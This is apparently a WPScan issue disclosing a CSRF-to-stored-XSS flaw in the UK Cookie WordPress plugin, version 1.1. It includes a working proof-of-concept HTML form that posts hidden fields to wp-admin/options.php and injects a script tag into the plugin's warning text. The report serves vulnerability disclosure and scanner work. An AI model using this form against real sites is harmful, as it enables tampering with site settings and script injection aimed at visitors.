Headline
CVE-2013-2180: CVE-2012-5856 uk-cookie plugin XSS · Issue #184 · wpscanteam/wpscan
WordPress Plugin UK Cookie is prone to a cross-site request forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application; other attacks are also possible. WordPress Plugin UK Cookie version 1.1 is vulnerable; other versions may also be affected.
There is CSRF security vulnerability in uk-cookie plugin version 1.1 and using it attacker can insert XSS to front page of WordPress installation. Version 1.1 is the latest (checked 2013-06-06) and I did not test older versions.
<html>
<body>
<form action="https://example.com/wp-admin/options.php" method="POST">
<input type="hidden" name="option_page" value="cookie_plugin_options" />
<input type="hidden" name="action" value="update" />
<input type="hidden" name="_wpnonce" value="e909307b13" />
<input type="hidden" name="_wp_http_referer" value="/wp/wp-admin/options-general.php?page=cookie-alarm-page&settings-updated=true" />
<input type="hidden" name="cookiewarn_options[warn_text]" value="<script>alert('hacked')</script>" />
<input type="hidden" name="cookiewarn_options[redirect]" value="https://github.com/wpscanteam/wpscan/" />
<input type="hidden" name="cookiewarn_options[ok_text]" value="Yes" />
<input type="hidden" name="cookiewarn_options[notok_text]" value="No" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>